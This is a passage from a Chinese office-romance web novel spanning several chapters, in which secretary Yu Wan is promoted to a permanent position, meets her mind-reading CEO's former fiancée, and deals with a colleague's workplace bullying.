关彦轩视线落到虞晚嘴角边的两个小括号上,她似乎总是不化妆,扎着平平无奇的低马尾,发圈颜色只有棕色和黑色两种,见到她的时候总是捧着文件在走廊上来去匆匆,遇到认识的人,就停下来问好,也不管对方搭不搭理她,打完招呼就小跑着离开,即便不化妆,嘴唇也是自然的红润,笑起来的时候,眼睛亮晶晶。
关彦轩不动声色移开眼眸,将小票塞进自己口袋。
早餐制作要不了多长时间,很快,两人拎着早餐一同进入电梯,等待电梯上行。
虞晚拿出恢复正常运转的手机,小心翼翼询问:“关总监,我能加你一个联系方式吗,我好把早餐钱转给你。”
关彦轩瞥她一眼,什么都没说。
虞晚拿着手机僵在原地,见关彦轩没搭理她,虞晚也不生气,默默收回手机,“那关总监,我待会儿把现金送给你。”
直到电梯抵达三十二层市场部,虞晚才听到关彦轩的声音:“直接搜我电话号码加我。”
虞晚反应过来,点点头,赶在电梯关门前一秒说道:“好的关总监,谢谢您早上帮我付款,祝您心情愉快。”
关彦轩脚步停顿片刻,头也不回走向办公室。
电梯门关上,虞晚松口气。
如同往常一般,将早餐和漱口水放到傅知尧办公桌上,顺带给老板办公桌上杂乱的文件按顺序整理干净,拿着抹布这边擦擦灰那边擦擦灰。
等收拾得差不多,傅知尧推门进来。
虞晚:“老板早上好。”
“嗯。”
傅知尧应了声,坐到老板椅上,一手端起拿铁喝,一手打开电脑。
同老板核对完本周行程,虞晚带着笔记本安静退出办公室,回到工位上,搜索关总监的电话号码,发送好友申请。
等待关总监好友申请通过的时候,虞晚继续研究收购资料。
因为是在公司,时不时有任务找上门,虞晚看得零碎,一天工作结束还有一大半没看完,虞晚便将资料带回宿舍研究,
资料有些多,加上虞晚是初次涉及收购领域,阅览速度相当慢,一边看一边查询专业名词的含义,看完一本,还需对提炼出的收购要点进行整理,不知不觉时间就到了凌晨。
夜里,毛新灵起床上厕所,瞧见虞晚桌下的灯光,“虞晚,两点多了,还不睡吗?”
虞晚这才惊觉已经很晚,“抱歉,我是不是打扰你了,我马上关灯。”
毛新灵打着哈欠往厕所走,“这倒没有,但你明天不是还要上班嘛,你不怕你上班犯困?”
虞晚觉得她说的有道理,但周四就是收购谈判,虞晚怕自己不抓紧时间就没时间了。
确认没打扰到毛新灵,虞晚手脚利落收拾好资料,准备明天早起去公司看。
一夜无梦,只是熬夜的后果就是虞晚闹钟响的时候压根睁不开眼,虞晚没犹豫,将起床往后挪了一个小时。
到公司的时候已经九点,刚好够她买早餐上楼。
今天老板有一个跨国会议,虞晚为老板准备好润嗓的热茶和切成块的水果。
跨国会议一开就是两三个小时,这期间老板是不会叫她进办公室的,虞晚处理好手头的工作,继续投入对听彩视频APP的研究。
不知过了多久,侧方玻璃隔断传来敲击声响。
虞晚下意识站起身,明白这是老板叫她有事,虞晚敲门进入傅知尧办公室。
“老板。”
傅知尧的跨国会议已经开完,他站在落地窗前,见虞晚进来,下巴抬了抬,示意虞晚收拾桌上的茶杯和盘子。
虞晚将茶杯、盘子和叉子拿到洗手台前清洗,洗干净放入一旁烘干消毒柜,消毒柜嵌在墙壁内,光看外表,压根不清楚这里面放着消毒柜。
当然啦,出入老板办公室这么多次,虞晚也算是明白了,老板的办公室装修豪横奢华,除了让人诟病的黑白灰三色,老板办公室不仅有洗手间、卫生间,还有宽敞的,摆放着一张大床的休息室。
虽然虞晚没能进去看过,但虞晚知道,里面肯定有个超大的换衣间,偶尔白天虞晚还看到傅知尧穿一身灰色西装,下午就换成了英伦风的花呢西装,就连领带也跟着变了一条。
在精致人生这方面,虞晚觉得老板是当之无愧的第一。
收拾好,傅知尧叫住她,“你在研究听彩短视频的收购,看出什么苗头没?”
虞晚顿时有些紧张,像是上语文课被老师抓包赶数学作业:“嗯,但我只看了一半,了解不多。”
傅知尧端起虞晚重新泡好的热茶,喝了一口,还是适宜入口的温度,他视线放在电脑上,嘴里的话却干脆:“下午有听彩视频收购的讨论会,把你东西拿上,一起听,做好会议记录。”
虞晚微微睁大眼。
老板行程表上没有这个会议,说明他不会参加,而老板让她去听,其实就是默许她参与进谈判,可以光明正大学习收购知识,这可比虞晚原先设想的结果好得多。
她连忙弯腰鞠躬,脸上笑容真挚了许多:“谢谢老板,我会认真学习的。”
傅知尧摆摆手让她出去。
虞晚轻手轻脚关上门,重新坐回座位,直到落座了仍旧收不住笑。
参加会议好呀,参加会议妙呀,要是能帮上忙,奖金手到擒来,就算帮不上忙,也能学到新知识。
稳赚不赔!
坐在老板椅上的傅知尧不知出于什么心态,电脑上文件没看下去几秒,溜达起来走到虞晚身旁。
就当开完会议舒缓筋骨。
隔着一道单向可视玻璃,傅知尧看到她弯起嘴角偷窃的神态,看她将嘴角的笑容压下去,拿出整理好的资料继续阅览,手里捏着笔,时不时做点笔记,漆黑细长的睫毛垂着,表情认真专注。
傅知尧静静站了好一会儿,拿起手机给人事何总监发去了一条消息。
没多久,傅知尧就看到虞晚接起一个电话,急匆匆走出总裁办,傅知尧眉头动了动。
下一秒,办公室门被人推开。
一道倩影走了进来,浓郁的花香调香水充斥鼻尖,傅知尧转过身,皱了皱眉,看向女人:“你来干什么?”
“听说你上周被人下药进了医院?”
傅知尧烦躁地拧眉:“你来我这儿就是为了问这个?”
女人耸肩,口吻满不在意:“我刚回国,这不是关心你吗?”
傅知尧嗤了一声,走到办公桌前坐下,“刚回国就知道我被人下药住院,你对我的关注显然超过了。”
“诶,话别说得那么无情嘛。”女人翘起张扬的红唇,坐到傅知尧对面的椅子上,“我毕竟是你的未婚妻,关心你不是应该的嘛。”
第26章
虞晚还不知道老板办公室里来了贵客,正忐忑走在前往人事部何总监办公室的路上。
她生怕是自己工作上出了什么问题被约谈。
人事部和直系主管不一样,许多话直系领导不方便说,怕把关系弄僵不利于后续工作,但人事部可以,当初人事部是怎么把人招进来的,就能怎样残忍地将人给踢出去。
虞晚满脑子胡思乱想,走到何总监办公室,发现何总监正等在办公室门口,看见她,和蔼可亲地打招呼。
“虞晚呀,你来了,快进来。”
虞晚有些意外何总监如此热情的态度,规规矩矩问好:“何总监好。”
何总监给虞晚端了杯水,“虞秘书别拘谨,坐,我们随便聊聊。”
察觉到何总监称呼的转换,虞晚不由得挺直脊背,接过纸杯:“谢谢何总监,
您说。”
何城不是第一次见虞晚,但是第一次见成了傅总秘书的虞晚。
和初次一样,给他第一印象就是年轻。
大学刚毕业的年纪,连一个独立项目都没有做过,一个他认定会被傅总淘汰的小姑娘,不仅留在了总裁办,还比同批次实习生提前转正!
怎能不让他震惊。
而这些都不是最关键的,最关键的是傅总居然亲自给他发消息,让他联系法务部准备转正合同,提高薪资和绩效奖金设置,末了补充一句:“公示结果下午发布,有问题的让他们来找我。”
短短几句话,何城这个职场人精就嗅到了不对劲。
别说是公司里高管和老员工,就是傅总看中的林特助,当年也没这个特别叮嘱。
难不成,真如同外头那些人传言,虞晚凭借美色傍上了老板?
可何城怎么看都觉得虞晚不过是个还算清秀的普通小姑娘,哪里就入得了傅总那双挑剔的眼,再加上虞晚一副诚挚懂礼貌的样子,何总监凭借多年来干人事的直觉,并不认为虞晚是个靠特殊关系上位的人。
将八卦放到一边,何总监拿出专业态度,同虞晚认真谈起她最近的工作情况、工作中遇到的问题等,顺带给虞晚解答了一些困惑,十足的知心老大哥形象。
虞晚的紧张在聊天中逐渐化解,直到何总监递来一份崭新的合同书。
合同?
转正合同?
虞晚抬头看向何总监。
何总监笑着开口:“虞秘书,翻开看看吧,这是傅总对你工作能力的认可和肯定。”
在方才的聊天中,何城差不多明白傅总为何会录用虞晚,虽说学历这块有所欠缺,但人品和肯上进的心这一块,傅总可从来没看错人。
不愧是傅总。
虞晚心头不停敲打着欢快的鼓点,她双手接过合同翻开,和她猜得没差,是给她的,转正入职总裁办的合同!
比起先前的合同,这份合同更为正式,补充协议内容全面,涵盖了每月基础工资和待遇奖金,加班费用也写得清清楚楚。
虞晚快速在心底算了一笔账,每月基础薪资税后一万五,加上全勤、绩效奖金和各种补贴,她每月到手工资至少有两万三!
别说是租三千的房子了,就是租五千的房子都没问题!
压抑住心头的激动,虞晚眼睛亮晶晶地同何总监道谢:“谢谢老板对我的肯定,也谢谢何总监,我会继续努力的。”
签完合同,虞晚走出办公室,走廊上没人,她才敢让心脏肆无忌惮地跳动。
虞晚满脑子都是转正后的薪资待遇,除了令人心动的工资,每年还有一次部门团建出游的机会,这相当于免费旅游,她能不开心吗?
开心到爆了!
上辈子的她连海市都没踏出过。
但虞晚不能表现出来,她还没毕业就成功转正留在总裁办,太招摇太显眼。
另一方面,虞晚对自己能成功转正也存疑,除了纽裕禾广告拍摄时给出了一点意见参考,她好像什么其他贡献都没有,这样的转正势必会招来其他人的质疑。
虞晚如果自以为坐稳老板秘书的位置从而肆无忌惮,按照傅知尧的性子,她可能真的终生不会被傅氏旗下任何一个公司录用。
想到这里,虞晚激荡的心情逐渐变得平缓。
转正什么的不稀奇,能一直留在总裁办升职加薪才稀奇。
虞晚踏着坚定的步伐往老板办公室去,路过总裁办,注意到有人站在自己工位旁,低头翻找着什么。
虞晚推开门,喊出那道身影的名字。
“赵予书。”
似乎没料到虞晚回来这么快,赵予书的手还落在她整理的那些资料上。
看到虞晚朝她走来,赵予书收回手,不紧不慢地撩起耳侧的头发,装作什么都没发生地笑了笑。
“虞晚,我来给你送文件。”
“你动我资料了?”
虞晚目光如炬,看得赵予书浑身不自在,她否认:“你是说你桌上的资料?我只是看有些乱帮你摆整齐而已,你不会生气吧。”
虞晚从赵予书手中接过文件,脸色相当冷,“和我生不生气没什么关系,是你太没分寸,随意动我的资料,如果我的资料是需要保密的资料呢,出了问题责任你负得起吗?”
“我……”
赵予书还是头一回被虞晚如此直白回怼,一时哑然。
总裁办此刻只有她们两个人。
赵予书找回底气,“对不起行了吧,就算有什么资料我不能看,你一个还没转正的小秘书就能看了?说不定最后你还是会回到行政部,大家都是同事,你非要和我把关系闹得那么僵?”
如此不讲理的逻辑让虞晚恼火,正要说话,蔡秘书从窗外走过,赵予书立马换了一副口吻,打断她要的话。
“虞晚,文件我已经送到了,你看看有没有什么出错的地方,有问题找我,我先回办公室了。”
说着,快步离开总裁办,走的时候还和蔡秘书打了个招呼。
蔡秘书点了下头,走进办公室,注意虞晚脸色不太对劲,关问了一句:“虞晚,你怎么了,是不是身体不舒服?”
虞晚轻轻呼出一口气,“没什么。”
总裁办公室内。
郁瑾潼仗着总裁办的两人看不见自己,近距离看了一出戏。
她朝傅知尧抬抬下巴,“嗯哼,这位就是你新招的秘书,叫虞晚?”
“嗯。”
“她好像被这位卷发女同事针对了耶,看这位女同事的表情,似乎不是第一次这么做,不打算以老板的身份出面说道说道?”
傅知尧头也不抬,脱口而出的话十足冷漠:“我是她老板还是你是她老板,如果连同事关系都处理不好,何必留在总裁办,趁早回家种地。”
“太无情了。”郁瑾潼转过身,啧声连连,“你就不怕小秘书心灰意冷跳槽?”
傅知尧签字的动作微微停顿,“那是她的选择。”
片刻,办公室门被敲响,那位小秘书走了进来。
看到座椅上美艳的女人,虞晚一愣,朝她微微躬身问好。
有外人在场,那她刚刚准备的拍马屁的话还要不要说呢?
不等虞晚思索完,座椅上的女人盯着她笑吟吟开口:“你好呀,我是你们傅总的未婚妻哦,我叫郁瑾潼。”
轰隆一声。
虞晚感觉自己被八卦的雷劈了个里熟外焦。
也对,这是一本古早言情文,老板是男主,还是帅气多金的王老五,未婚妻是标配。
下一秒,虞晚听到老板的声音:“一个假身份总挂在嘴边,我们八百年前就解除婚约了,别拿这个骗我秘书。”
虞晚瞳孔骤缩:“!!!”
她是不是该说老板对她太过放心,怎么什么八卦都让她听去了,不要啊,她对老板的八卦一点兴趣都没有!
知道得越多死得越快这个道理她懂得不能再懂。
傅知尧翻开面前的文件,见虞晚还站在原地,看她:“有什么事?”
虞晚收回震惊的表情,把拍马屁的话吞回去肚子,朴实无华地同傅知尧道谢。
“老板,我刚从何总监那边签完合同回来,谢谢老板对我的信任,我会继续努力工作,为公司鞠躬尽瘁,我要说的就是这些,既然老板现在有客人我就先回总裁办了。”
“嗯。”
傅知尧表情不咸不淡,看不出什么情绪。
虞晚识趣告退,离开前,给坐着的女人倒了杯热茶,“郁小姐,小心烫。”
既然来了,就是客人,既然是客人,自然要奉茶。
郁瑾潼有些诧异,慢半拍接过茶杯,朝她露出一个明艳的笑容。
虞晚回以笑容。
想起什么,虞晚转过身,恭恭敬敬问傅知尧:“老板,今日午餐需要订双份的吗?”
郁瑾潼赶在傅知尧前面回答:“双份,好久没蹭过你们傅总的饭了,我要吃牛排,肋眼七分熟,谢啦。”
见老板没反驳,虞晚点点头,“好的,我知道了。”
办公室门重新合上。
傅知尧听见郁瑾潼的心声-
【该死的傅知尧,为什么一个小秘书都这么可爱。】
不是所有人都像虞晚那样,单纯地将她当一个客人对待,很多时候她去谈生意,那些老总的秘书都会用异样的眼光扫视她,好像她因为长得漂亮,就一定是靠身体上位获得一切。
不屑、轻蔑、鄙视、傲慢……太多太多。
对比之下,小秘书干净得有些过分可爱了,让她都忍不住想挖墙脚。
郁瑾潼清清嗓子:“你怎么突然开始招女秘书了,稀奇啊。”
稀奇是真的稀奇,据郁瑾潼所知,傅知尧从不用女性当秘书,一是觉得麻烦,二是觉得麻烦。
毕竟老板和女秘书之间闹出来的绯闻不少,不管有没有发生什么,都会被其他人恶意揣测,要是招了个心思不正的,不仅影响心情,更影响工作。
傅知尧没回答她,声音冷漠:“有事就说,没事就滚蛋。”
郁瑾潼:“……”-
【脾气一如既往糟糕,要不是一张脸长得好看,谁愿意来他公司,虞晚能待在他身边只能说明她是个能干成大事的人,有这忍耐力,埃及金字塔都能徒手建立起来,简直是世界第九大奇迹嘛。】
傅知尧:“……”
他翻文件的动作一顿,掀眸看她。
郁瑾潼无辜眨眼,“当然有要紧事情,这周六我有个家宴,你来一趟吧,刚好谈谈合作。”
傅知尧和郁瑾潼的婚约是两家长辈定下来的,但在两人长大后,傅知尧父母看出来他对郁瑾潼没那个意思,不愿意干预傅知尧未来伴侣的选择,于是主动找上郁瑾潼的父母。
双方坐在一起吃了顿饭,和平解除婚约,但对外,傅家和郁家依旧是亲密的合作伙伴。
在傅知尧父母去世后,郁瑾潼父母还庆幸和傅家早早解除婚约,只是郁瑾潼念着傅父傅母的好,私下给予了傅知尧一些帮助。
因此,傅知尧一直没间断和郁瑾潼的合作。
郁家情况挺复杂的,主要是郁家爷爷奶奶那辈太能生,以至于郁瑾潼不仅兄弟姐妹多,伯父伯母、姨妈姨夫也特别多。
继承遗产这种事情,按照人头分配,到郁瑾潼手中的不过寥寥五百万。
郁瑾潼不愿意输给那些人,知道傅知尧对她没那么意思就放弃了联姻这条道路,转而寻求起合作。
事实证明,她没看错傅知尧这个人,仅仅用了两年的时间就让傅氏重新爆发辉煌,财务报表数字节节高升,却健康无比,庞大的现金流更是让郁瑾潼眼馋到恨不得干掉他直接上位。
但可惜,杀人犯法。
不过顾及郁瑾潼在他父母去世时的帮助,傅知尧还算念旧情,没有对外宣称两人解除婚约的事情,因此,郁家其余人对郁瑾潼十分看重。
这不,家宴到了,郁瑾潼就来找傅知尧例行吃个饭,维系维系表面上的未婚夫妻关系。
傅知尧看了眼自己的行程表。
“可以,不过我待不了多久,顶多半小时。”
“你能来那群人就谢天谢地了,你就是出场十分钟,他们都会献给你最热烈的马屁。”
郁瑾潼喝了一口热茶,颇为讽刺地说。
尽管她名下的公司近几年发展前景不错,仍旧逃不过被那群老顽固说三道四,要不是她有傅知尧这个名义上的未婚夫,恐怕早就被当作物品嫁出去了-
【只是傅知尧也快三十了,还没有结婚的想法,我们两个的婚约光有个假名头也不是个事儿,要么……干脆说服他,结个婚领个证,各取所需,当一对表面夫妻算了?】
这个念头冒出来的下一秒,郁瑾潼收到傅知尧凛冽如刀般的眼神,吓得她立刻缩回脑子里的想法。
傅知尧可怕就在这一点,他似乎能一眼看穿她的内心,以至于郁瑾潼和他聊天时,心底总瘆得慌。
她迎上傅知尧的眼神,换了个委婉点的说辞:“傅总还没遇到喜欢的人?”
傅知尧:“……”
第27章
午餐时间一到,虞晚便将老板办公室订好的双人份牛排送进去,放下双人份的薄荷漱口水和消毒纸巾,确认老板没其他事情要叮嘱,去行政部找赖言栩和孙柠吃午餐。
走到行政部时,门口已经围了一大圈人,好几个虞晚眼熟的实习生和正式员工,她们正在等人,时不时聊几句,气氛融洽欢乐。
有人瞧见虞晚的身影,用胳膊肘捅了捅旁边的人,“欸,那谁来了。”
“谁?噢,原来是干洗店店长女儿来了。”
人群中发出小声哄笑。
赵予书冷着脸将视线投向虞晚。
上身是缎面香槟色灯笼袖衬衫,下半身是黑色包臀及膝长裙,整个人匀称苗条,脊背纤薄,肤色白净,眼神平静明澈,像一株娉婷的菡萏,虽不够妖娆娇媚,却自有一股出尘的美感。
那身衣服不似先前那些没质感的地摊货,裁剪得当,线条简约,往那边一站,即便不开口,大家也知道这就是傅总的秘书。
两边人视线对上,有人主动开口恭喜她转正。
虞晚有些意外,她上午才签完转正合同,这么快就公示了吗?
她礼貌接受:“谢谢。”
正准备进办公室找赖言栩,就被人叫住。
“什么啊,就一句谢谢呀,我还以为你要请大家吃饭呢?”
虞晚转过头,认出说话的人,正是赵予书的朋友,陈念优。
她站在赵予书身边,笑吟吟地看着虞晚:“我听说总裁办秘书的工资是我们的三、四倍呢,这样天大的好事,不请客表示表示吗,我们好像从进公司开始就没聚过餐耶,刚好趁此机会庆祝一下,虞晚你觉得呢?”
虞晚觉得不好。
先不说转正的人必须请客这件事合理不合理,她和她们的关系似乎也没有好到请客吃饭的程度。
所以虞晚摇头。
见虞晚摇头,陈念优眼眸中露出一丝嘲讽的笑容,顷刻被她压下去,一脸震惊外加不理解地看着虞晚。
“虞晚……我记得你不是这样的人,就算你现在成了傅总秘书,也没必要瞧不起我们这些实习生吧,难不成他们说的那些都是真的,你真的是那样的人?”
赵予书帮忙解释:“虞晚应该不是那样的人,她现在毕竟是傅总的秘书,能当上秘书的人,必然有她的厉害之处。”
赵予书这话和火上浇油没什么区别,那群人看向虞晚的眼神变得耐人寻味起来。
语言霸凌在某种程度上比肢体霸凌更恐怖,被流言伤害的人即便日后摆脱,也会在某个瞬间忽然想起霸凌者的那些话语,一遍遍自我凌虐自我审视,最后逐渐封闭自我,不敢出门,不敢与人对视,不敢同人对话,步步滑落深渊。
虞晚不是圣人,做不到丝毫不芥蒂。
她定定看着陈念优,丝毫不理会赵予书,不急不缓张口:“陈念优,你不是还没转正吗,我怕没等你转正就请吃饭,你会以为我是在炫耀,所以,不好意思,我不想让你以为我是一个爱炫耀的人,你觉得呢?”
陈念优的脸色一瞬变得难看。
赖言栩在这个时候跑出来,拉起虞晚的手,将她带离修罗场,大大咧咧地嚷嚷道:“天,我要饿死了,工作终于处理完了,快,叫上孙柠,我们一起去吃饭!”
陈念优要说的话被打断,她不甘心地瞪了两人一眼,又寄希望于赵予书能帮她回怼。
赵予书温柔一笑,拍拍陈念优肩膀,“好啦,你想吃什么我请你,法国菜还是意大利菜?”
像是察觉到什么,虞晚离开前对上了宋楚楚的视线。
宋楚楚也正在看她。
比起先前,宋楚楚对她的态度明显冷了许多,见面的招呼不再打,最多朝她微微。
虞晚知道,她大概是在生气庆典那晚自己的谎言。
两人视线相交不过两秒,宋楚楚率先
转开视线,再看过去,虞晚已经离开。
虞晚猜得不错,宋楚楚的确是对虞晚那晚的隐瞒有些不爽。
分明傅总不是喝醉酒,是被人下药,但在她询问需不需要帮忙时却被果断拒绝,让她对虞晚印象大打折扣。
难道她不值得被信任吗?难道最初进公司的时候她对虞晚的态度不够友善吗?
虞晚性格内向孤僻,如果不是她拉着虞晚同其他实习生一起吃饭,虞晚可能根本无法融入她们。
就算她对傅总有些喜欢,也不会趁人之危,虞晚的谎言让她觉得她的喜欢被人看破,让她觉得难堪。
一行人去了餐厅,端着餐盘坐下来没多久,开始讨论起傅总办公室留下来吃午餐的神秘美女。
“不是别人,也不是合作商,是傅总的未婚妻!”
“傅总的未婚妻长得真的很漂亮,我上午去送文件,刚好和她擦肩而过,还没看到人,就闻到她身上的香水味了,要不是不熟悉,我还想问问她用的什么香水。”
“我还是第一次知道傅总有未婚妻,私下找老员工问了问,傅总的未婚妻叫郁瑾潼,就是那个信远生物制药公司的总裁,傅总和未婚妻好像是娃娃亲,两人小时候就定下来了。”
“郎才女貌,傅总和郁小姐实在是配,从长相到能力都很匹配,不知道我们有没有机会吃到傅总的喜糖。”
……
陈念优瞧见心不在焉的赵予书,主动开口,意有所指:“有这么漂亮能干的未婚妻,唉,看来某些人的总裁夫人梦要落空咯。”
她说的是虞晚,但宋楚楚听到这话,下意识看向赵予书。
同样都是女性,她看得出来赵予书对傅总有意思,那种喜欢的强烈程度远远超过她,否则她不会针对虞晚——
将虞晚打印好的文件扔进粉碎机,将红酒泼到虞晚裙子上,还在群里发表一些针对虞晚的言论,引导大家对虞晚投向异样的眼神。
赵予书注意到她的目光,扯了扯嘴角,用只有两个人能听到的声音开口:“宋楚楚,你说,傅总分明有未婚妻为什么还会选虞晚当秘书呢,他就不怕别人造谣他和虞晚的关系吗?”
宋楚楚一时不知该说什么。
赵予书再次开口:“你也喜欢傅总吧,我看到你在周年庆典上偷拍他了哦。”
宋楚楚心头一惊。
晚上回到家,宋楚楚低落的心情一眼就被宋母捕捉,睡前,她给宋楚楚端来一杯热牛奶,摸摸自己女儿的头发,低声轻柔地问:“怎么了,是不是遇到什么困难了?”
宋楚楚抱着宋母,将脑袋埋在对方柔软的腹部,腻腻歪歪地喊她:“妈妈……”
宋母笑:“还和小孩子一样喊妈妈,羞不羞。”
宋楚楚噘嘴,“跟我妈妈撒娇,哪里羞。”
“好好好,有什么烦恼就告诉妈妈,妈妈一定会帮你解决的。”
从小到大,宋楚楚听过最多的话大概就是这句,宋楚楚也一如既往相信这句话。
因为妈妈从没对她食言。
宋楚楚看着宋母,犹豫片刻开口:“妈妈,我好像喜欢上我们公司的老板,但他有未婚妻,我不知道要不要继续喜欢他。”
宋母眼眸微动,“那你们老板知道你吗?”
宋楚楚摇头。
“他不知道,他可能连我是哪个部门的都不清楚。”
“那你为什么会喜欢他呢?”
宋楚楚思考了一会儿,“就像一见钟情?他长得很好看,工作能力也很强,我觉得他很厉害,所以喜欢他。”
“有你的决风哥哥好看吗?”
宋楚楚脸噌地一下红了,佯装生气:“妈妈,你说什么呢。”
宋母并不气恼,她坐到女儿旁边,循循善诱:“楚楚,妈妈作为过来人,理解你对你们老板的喜欢,但是呢,我们需要考虑现实,你们老板不认识你,不了解你,你贸然接触只会被他反感,就算接触了也不会有好结果,这是纯粹的单向喜欢,这样的喜欢会让你开心吗?如果可以,妈妈不反对。但陆决风不一样,他在你爸爸当年公司落魄的时候伸出了援手,是个有良心懂得感恩的人,你和他差不多是青梅竹马长大,你了解他,他也了解你,你其实心底对他有意思,只是因为太熟悉,被你压抑在心底,你可以试着放下这种熟络和羞怯,仔细问问你自己,你到底喜欢的是谁?”
宋楚楚抿唇没说话。
宋母:“你说你们老板长得帅,我反倒觉得陆决风长得帅,一表人才,长得又高,身材和模特一样,不比那些明星差。”
宋楚楚有些犹豫:“但决风哥不是陆叔叔的亲儿子。”
这意味着,陆决风很有可能不会继承陆叔叔的遗产。
另一方面,虽然她和陆决风算得上青梅竹马,但决风哥待人处事始终温和有礼,宋楚楚在他身上找不到她是独特的这一点,她想要的是全心全意的,炙热浓烈的爱。
不过这样一想,似乎傅总也不太符合。
宋楚楚忽然有些迷茫。
宋母显然想到了陆家的情况,嘴角勾出一个冷冷的弧度,她语重心长:“楚楚,你什么时候看人眼光如此短浅了,就算陆决风现在是副总,但公司里大部分人都是站在他那边,看似是副总,却比陆屿森更有决策权,等到陆宗信那个老家伙卸任,整个屿风集团都要依仗陆决风,到那个时候陆决风可就是个人人都要抢的香饽饽,所以呀,楚楚,先下手为强。”
宋楚楚了解陆屿森那个家伙的不学无术,对比起来,决风哥简直是天上的神仙,从没说过嫌弃自己的哥哥。
决风哥性格温柔,长相俊朗,工作能力强,是宋楚楚梦中情人该有的样子。
但为什么在傅知尧出现后,她的心会不由自主跟着对方转呢。
真的太奇怪了。
宋楚楚拿起手机,当着宋母的面,给陆决风发了一条消息。
宋楚楚:【决风哥,我们好久没有一起吃饭了,你这周末有时间吗?我请你吃饭呀。】
第28章
另一边的虞晚被赖言栩和孙柠两人拉着离开,原本是要去公司食堂,但虞晚在陈念优的提醒下决定庆祝一番,请两人吃饭。
孙柠是行政部的前台,平日里没少帮虞晚签收文件快递和老板的一日三餐,外加孙柠性格活泼开朗,因此,三人很快熟络起来。
两位朋友体贴地选择了不那么昂贵的Cheesemu西餐厅。
虞晚知道这家店,就在隔壁写字楼的b1层,店里可以用团购券,人均消费大概在109块左右,完全在虞晚的请客承受范围内。
正值午餐时间,店内客流量大,附近CBD来吃饭的打工人数不胜数,三人找了个靠窗的位置,迅速点好单,虞晚用完团购券,额外加了三杯低酒精的白桃西打酒。
赖言栩摆弄着服务员端来的冰水,“虞晚,你是不是没加我们行政部的八卦小群。”
“你是说我们实习生组建的那个群吗?”
孙柠知道赖言栩说的是什么:“是另一个小群,好多正式员工都在里面,不过我们实习生的群里也有消息,你看过没?”
“没有。”
虞晚在两双眼睛的注视下打开手机,果不其然看到了群内未读信息。
群消息被她设置了免打扰,只周末才会点开看看消息,毕竟她从不在群聊内发言,也没人会在群里艾特她聊天,后来进了总裁办,成了老板的秘书,就更没人找她了。
赖言栩所说的消息要追溯到上上周周六。
最初是赵予书发了一张转账截图,转账的另一方正是她,转账明细是干洗费。
她大概是和自己好友吐槽,不小心发到了群里。
赵予书:【[截图]】
赵予书:【感觉公司是不是克我,我就和倒霉熊一样,赔了这个钱又赔那个钱,最后还没落一句好。[哭][哭]】
有同事冒泡吃瓜。
【怎么回
事,你给虞晚转钱做什么,怎么和虞晚扯上钩了?】
【哇塞,什么衣服干洗费用这么贵,你是不是被骗了?】
……
五分钟后,赵予书才出现。
赵予书:【抱歉,失手发错了群,虞晚的裙子是我不小心弄脏的,所以我承担了裙子的干洗费用,只不过觉得自己有些倒霉才感慨,在这里也提醒大家走路时要注意,要是像我这样,衣服干洗费都够赔得倾家荡产。】
【@赵予书,你怎么弄脏的虞晚裙子?】
赵予书:【[哭]红酒,不小心泼上去了。】
【啊?是红酒啊,我还以为是什么其他的油腻食物呢,红酒渍不是很好清洗的吗,用点牙膏或者苏打粉不就行了吗。】
赵予书:【没办法,虞晚当时挺生气的,反正裙子已经送去干洗了,大家就当从我身上吸取教训吧,可能虞晚穿的那件裙子比较贵,所以干洗价格高,大家不要乱揣测了,都是我的问题。】
【@虞晚,你那件裙子能有多贵啊,比干洗费用还贵?】
……
虞晚看到这里没有再看了。
她终于明白为什么上周拿着文件走过行政部时总觉得有种被人偷窥和打量的错觉,原来前因在这儿。
赖言栩注意着虞晚的表情,见她看完,说:“其实我和孙柠上周就想告诉你这件事,但上周是月末,每个部门都忙,怕打扰你工作,就没说。”
孙柠:“八卦小群里的消息比这更过分。”
赖言栩点头,相当认同:“你看了不如不看,总而言之,你知道赵予书这个人不是个好家伙就是了。”
“而且她现在转去了财务部,和你们总裁办来往是不是比以前更密切?”孙柠说,“你得注意这个,她背后有人。”
虽然不知道是谁。
但大概率是人事部的某位领导或者财务部的某位领导,否则转岗这样的事情,怎么都轮不到赵予书这样一个小小实习生。
虞晚抿唇。
她不是傻子,没蠢到以为赵予书做的事情都是无心。
从她进入总裁办开始,赵予书扔过她要打印的文件;交接文件时故意拖沓,害她差点错过系统关闭时间被老板批评;往她裙子上泼过红酒。
还有像今天这样,借着给她送文件的机会,偷偷翻看她放在桌上的资料,等她回来时又一脸无辜,装作什么都没发生。
虞晚先前睁一只眼闭一只眼是因为她不过是个小秘书,事情闹大了对她转正影响不好。
但她现在已经转正了,如果面对赵予书这样恶心人的办公室霸凌行为还是一副无所谓的态度,赵予书绝对会变本加厉。
想到这里,虞晚心境平和下来。
她缓缓吐出一口气:“言栩,柠柠,谢谢你们告诉我,待会儿吃完还想喝奶茶吗?我刚好要去咖啡厅订下午茶。”
餐已经端上来了,三人每人一份牛排意面一杯西打酒,外加两份小食。
赖言栩摆摆手,“都没帮上什么忙,谢我们干什么,不过定下午茶不是孙柠的工作吗?”
虞晚认真解释:“我转正了,除了请你们吃饭,也要对总裁办的前辈们表示表示呀,还有我们的大老板。”
虞晚都想好了,一份咖啡加甜点的组合下午茶不超过一百块,不会显得过于谄媚,还能补充老板的工作精力。
不愧是她。
虞晚眉梢透着点小得意,赖言栩和孙柠对视一眼,一切尽在不言中。
吃过午饭,虞晚进老板办公室收拾餐盘时那位郁小姐已经离开了,傅知尧正站在落地窗前远眺。
见她进来,插兜悠闲看虞晚收垃圾,末了,虞晚给他倒来一杯茶,傅知尧端着茶,看着脚下车水马龙,心情忽然变得不错。
短暂休息四十分钟,虞晚收拾好笔记本和录音笔,准备去收购部会议室参加讨论会。
会议室内,收购部总监钱喜成早早坐在里面,翻看手中的资料。
收购听彩短视频原本是屿风集团的下一步规划。
屿风集团似乎有加入文娱产业分一杯羹的苗头,去年成立娱乐公司,靠着选秀捧出了几个还算有名气的艺人,但对比选秀期间买营销花的钱,这几位艺人显然还有十足的成长空间。
傅总想从屿风集团手中抢下听彩短视频,除了看中短视频的发展前景,另一重大目的自然是想斩断屿风在文娱产业布局的一颗棋子。
虽说傅氏目前对加入文娱产业兴趣不大,但旗下科技公司里,阅读软件并不少,一部分做的是会员制阅读,一部分则是免费阅读,主要靠广告招商赚钱,偶尔卖卖版权,当个潇洒的投资方。
对收购听彩短视频这个决策,收购部门没人反对,毕竟谁不希望自家公司的商业版图扩大。
进军文娱产业,收购短视频软件,牢牢抓住人们零碎的休闲时间,要是这个项目做得好,年底他的绩效奖金再翻一番也未尝不可。
